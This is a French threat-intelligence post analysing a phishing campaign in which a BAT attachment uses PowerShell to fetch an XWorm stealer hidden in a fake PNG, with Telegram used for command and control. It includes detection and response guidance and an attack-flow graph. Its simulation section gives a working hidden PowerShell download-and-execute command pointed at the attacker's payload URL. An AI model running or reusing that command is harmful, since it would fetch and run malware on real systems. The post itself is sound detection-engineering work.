SOC Prime Bias: Moyen

06 Fév 2026 18:26

Script Malveillant Apportant Plus de Malveillance

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Script Malveillant Apportant Plus de Malveillance
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un email de phishing livre une pièce jointe malveillante contenant un script BAT qui lance PowerShell pour télécharger une charge utile encodée en Base64. Après décodage, la charge utile se résout à XWorm, un stealer .NET qui profile l’hôte et exfiltre les données collectées via un bot Telegram. La persistance est établie en créant une tâche planifiée qui exécute à plusieurs reprises l’exécutable déposé. L’opération repose sur plusieurs éléments d’infrastructure, y compris un leurre d’hébergement d’image factice et au moins une IP compromise utilisée pour la mise en scène de la charge utile.

Investigation

L’examen du script BAT a révélé une ligne de commande PowerShell qui récupère un fichier ressemblant à un PNG depuis un domaine contrôlé par l’attaquant. Le contenu Base64 intégré est ensuite nettoyé, inversé et décodé pour reconstruire l’exécutable .NET. L’analyse binaire a montré que le logiciel malveillant enregistre une tâche planifiée nommée Chromiumx2 et utilise l’API de Telegram pour le commandement et le contrôle et l’exfiltration de données. Les enquêteurs ont extrait des indicateurs de réseau clés, y compris le domaine d’hébergement, l’adresse IP associée, et le point de terminaison de l’API Telegram référencé pendant l’exécution.

Atténuation

Empêcher l’exécution de contenu BAT et PowerShell non confirmé provenant de pièces jointes d’emails ou de répertoires de téléchargement utilisateur. Appliquer une liste blanche d’applications pour restreindre la création de tâches planifiées et signaler les nouvelles tâches suspectes. Surveiller et, lorsque possible, restreindre l’accès sortant aux points de terminaison de l’API Telegram et bloquer les domaines malveillants identifiés aux couches DNS/proxy. Maintenir les détections d’endpoint à jour avec les nouveaux indicateurs observés et les modèles de téléchargement basés sur des scripts.

Réponse

Isoler les endpoints où la tâche planifiée Chromiumx2 ou Chromiumx2.exe est observée. Supprimer la tâche planifiée, effacer le binaire malveillant, et collecter les artefacts (script, charge utile décodée, XML de tâche, et journaux pertinents) pour la délimitation forensique. Explorer l’environnement pour le même nom de tâche, comportement de décodage PowerShell similaire, et trafic piloté par Telegram. Réinitialiser les identifiants potentiellement exposés et informer les utilisateurs de la pièce jointe de phishing pour réduire les exécutions répétées.

graph TB %% Définitions de classes classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% Nœuds initial_access[« <b>Technique</b> – T1566.001 Pièce jointe de spearphishing<br/><b>Description</b> : L’attaquant envoie un e-mail malveillant avec une pièce jointe .bat. »]:::technique attachment_file[« <b>Fichier</b> – malicious_attachment.bat<br/><b>Objectif</b> : Dépose une image PNG contenant un shellcode caché. »]:::file masquerading[« <b>Technique</b> – T1036.008 Déguisement du type de fichier<br/><b>Description</b> : Le PNG nommé optimized_MSI.png contient en réalité un shellcode délimité par BaseStart- et -BaseEnd. »]:::technique png_image[« <b>Fichier</b> – optimized_MSI.png<br/><b>Contenu</b> : Shellcode intégré avec délimiteurs. »]:::file user_execution[« <b>Technique</b> – T1204 Exécution par l’utilisateur<br/><b>Description</b> : La victime exécute le fichier batch malveillant. »]:::technique powershell_exec[« <b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b> : Décode les données Base64, inverse les chaînes hexadécimales et lance le shellcode. »]:::technique obfuscation[« <b>Techniques</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>Description</b> : Payload pollué par du junk, hex inversé, compilation à la volée, stéganographie et résolution dynamique des API. »]:::technique c2_communication[« <b>Techniques</b> – T1059.009 API Cloud, T1102.002 Service Web bidirectionnel, T1102.003 Unidirectionnel<br/><b>Description</b> : La backdoor .NET utilise l’API Telegram Bot pour le C2. »]:::c2 telegram_api[« <b>Outil</b> – Telegram Bot API<br/><b>Point d’accès</b> : api.telegram.org »]:::tool persistence[« <b>Techniques</b> – T1543 Création ou modification de processus système, T1546.002 Exécution déclenchée par événement, T1547.014 Active Setup<br/><b>Description</b> : Tâche planifiée \ »Chromiumx2\ » exécutée chaque minute ; économiseur d’écran et Active Setup imposent l’exécution. »]:::technique scheduled_task[« <b>Processus</b> – schtasks<br/><b>Tâche</b> : Chromiumx2 »]:::process priv_esc[« <b>Techniques</b> – T1055 Injection de processus, T1574 Détournement du flux d’exécution<br/><b>Description</b> : Shellcode injecté dans un processus légitime pour obtenir des privilèges élevés. »]:::technique process_injection[« <b>Processus</b> – Processus légitime<br/><b>Cible</b> : Reçoit le shellcode injecté. »]:::process credential_access[« <b>Techniques</b> – T1555.003 Identifiants depuis les navigateurs Web, T1539 Vol de cookies de session Web<br/><b>Description</b> : L’injecteur Chrome collecte mots de passe, cookies et autres données du navigateur. »]:::technique chrome_injector[« <b>Malware</b> – Chrome Injector<br/><b>Fonction</b> : Extrait les identifiants stockés et les cookies de session. »]:::malware discovery[« <b>Technique</b> – T1217 Découverte des informations du navigateur<br/><b>Description</b> : Énumère les chemins des profils Chrome et les identifiants stockés. »]:::technique exfiltration[« <b>Technique</b> – T1041 Exfiltration via le canal C2<br/><b>Description</b> : Les identifiants et informations système sont exfiltrés via Telegram. »]:::technique lateral_movement[« <b>Techniques</b> – T1080 Contamination de contenu partagé, T1210 Exploitation de services distants<br/><b>Description</b> : Téléchargement de charges utiles supplémentaires pour une propagation ultérieure. »]:::technique additional_payload[« <b>Fichier</b> – buildingmoney.txt<br/><b>Objectif</b> : Contient du code malveillant supplémentaire pour le mouvement latéral. »]:::file %% Connexions initial_access –>|fournit| attachment_file attachment_file –>|crée| masquerading masquerading –>|produit| png_image png_image –>|utilisé par| user_execution user_execution –>|déclenche| powershell_exec powershell_exec –>|effectue| obfuscation obfuscation –>|contacte| c2_communication c2_communication –>|utilise| telegram_api c2_communication –>|établit| persistence persistence –>|crée| scheduled_task scheduled_task –>|exécute| priv_esc priv_esc –>|injecte dans| process_injection process_injection –>|permet| credential_access credential_access –>|implémenté par| chrome_injector chrome_injector –>|collecte| discovery discovery –>|alimente| exfiltration exfiltration –>|envoie les données via| c2_communication c2_communication –>|télécharge| additional_payload additional_payload –>|permet| lateral_movement

Flux d’Attaque

Exécution de Simulation

Prérequis : Le contrôle préalable de télémétrie et de base doit avoir réussi.

  • Narratif de l’Attaque et Commandes :
    L’attaquant veut télécharger et exécuter une charge utile malveillante depuis un serveur web compromis. Pour échapper à la détection par signature classique, il intègre toute la logique de téléchargement et exécution dans une seule chaîne Base64 et invoque PowerShell avec -EncodedCommand. La commande référence l’URL exacte que la règle de détection surveille (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Encoder la charge utile malveillante (un téléchargeur simple qui exécute le script reçu) :

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      B64 résultant (exemple) : SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (truncated).

    2. Exécuter la commande encodée :

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Cette seule ligne génère la télémétrie exacte que la règle Sigma attend : un processus PowerShell, le -EncodedCommand drapeau, et l’URL malveillante à l’intérieur du bloc de script décodé.

  • Script de Test de Régression :

    #-------------------------------------------------
    # Script de régression pour déclencher la règle de détection
    #-------------------------------------------------
    # 1. Construire la charge utile malveillante
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Exécuter la charge utile via une commande PowerShell encodée
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Commande encodée malveillante exécutée."
    #-------------------------------------------------
  • Commandes de Nettoyage :

    # Supprimer tout fichier transitoire (aucun attendu car la charge utile est diffusée directement)
    # Terminer tous les processus PowerShell cachés lancés par le test
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Nettoyage terminé."